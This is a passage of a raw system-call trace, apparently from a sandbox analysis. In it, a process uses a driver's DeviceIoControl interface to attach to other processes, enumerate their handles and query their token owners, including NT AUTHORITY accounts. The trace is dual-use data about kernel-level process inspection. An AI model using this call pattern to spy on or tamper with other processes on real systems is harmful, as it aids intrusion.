ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.696] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.696] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.697] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.697] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.697] PsAcquireProcessExitSynchronization () returned 0x0 [0113.697] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.697] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.697] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.697] PsReleaseProcessExitSynchronization () returned 0x2 [0113.697] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.697] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.697] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.697] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.697] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.697] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.697] PsAcquireProcessExitSynchronization () returned 0x0 [0113.697] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.697] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0113.697] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.697] PsReleaseProcessExitSynchronization () returned 0x2 [0113.697] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.697] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.697] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0113.697] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.697] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.697] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.697] PsAcquireProcessExitSynchronization () returned 0x0 [0113.697] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.697] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0113.697] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.698] PsReleaseProcessExitSynchronization () returned 0x2 [0113.698] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.698] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.698] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0113.698] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.698] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.698] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0113.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.698] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0113.698] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.698] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0113.698] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.698] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.698] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.698] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.698] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.699] CloseHandle (hObject=0xc8) returned 1 [0113.699] CloseHandle (hObject=0xc0) returned 1 [0113.699] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.699] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.699] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.700] PsAcquireProcessExitSynchronization () returned 0x0 [0113.700] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.700] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0113.700] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.700] PsReleaseProcessExitSynchronization () returned 0x2 [0113.700] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.700] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.700] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0113.700] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.700] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.700] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.700] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.700] PsAcquireProcessExitSynchronization () returned 0x0 [0113.700] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.700] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0113.700] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.700] PsReleaseProcessExitSynchronization () returned 0x2 [0113.700] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.700] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.700] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0113.700] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.700] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.700] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.700] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.700] PsAcquireProcessExitSynchronization () returned 0x0 [0113.700] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.700] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.700] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.700] PsReleaseProcessExitSynchronization () returned 0x2 [0113.700] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.700] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.700] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.700] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.701] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.701] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.701] PsAcquireProcessExitSynchronization () returned 0x0 [0113.701] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.701] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.701] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.701] PsReleaseProcessExitSynchronization () returned 0x2 [0113.701] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.701] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.701] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.701] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.701] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.701] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.701] PsAcquireProcessExitSynchronization () returned 0x0 [0113.701] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.701] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.701] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.701] PsReleaseProcessExitSynchronization () returned 0x2 [0113.701] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.701] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.701] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.701] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.701] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0113.701] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.701] PsAcquireProcessExitSynchronization () returned 0x0 [0113.701] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.701] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0113.701] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.702] PsReleaseProcessExitSynchronization () returned 0x2 [0113.702] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.702] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.702] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0113.702] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.702] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.702] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0113.702] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.702] PsAcquireProcessExitSynchronization () returned 0x0 [0113.702] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.702] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0113.702] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.702] PsReleaseProcessExitSynchronization () returned 0x2 [0113.702] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.702] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.702] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0113.702] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.702] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.702] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.702] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.702] PsAcquireProcessExitSynchronization () returned 0x0 [0113.702] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.702] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0113.702] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.702] PsReleaseProcessExitSynchronization () returned 0x2 [0113.702] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.702] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.702] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0113.702] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.702] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.702] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.703] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0113.703] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.703] PsAcquireProcessExitSynchronization () returned 0x0 [0113.703] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880055905d0) [0113.703] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0113.703] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.703] PsReleaseProcessExitSynchronization () returned 0x2 [0113.703] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0113.703] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.703] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0113.703] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.703] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.703] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0113.703] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.703] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0113.703] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.703] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb6 [0113.703] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.703] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.703] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.703] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.703] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.704] CloseHandle (hObject=0xc8) returned 1 [0113.704] CloseHandle (hObject=0xc0) returned 1 [0113.704] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.705] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.705] PsAcquireProcessExitSynchronization () returned 0x0 [0113.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.705] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0113.705] 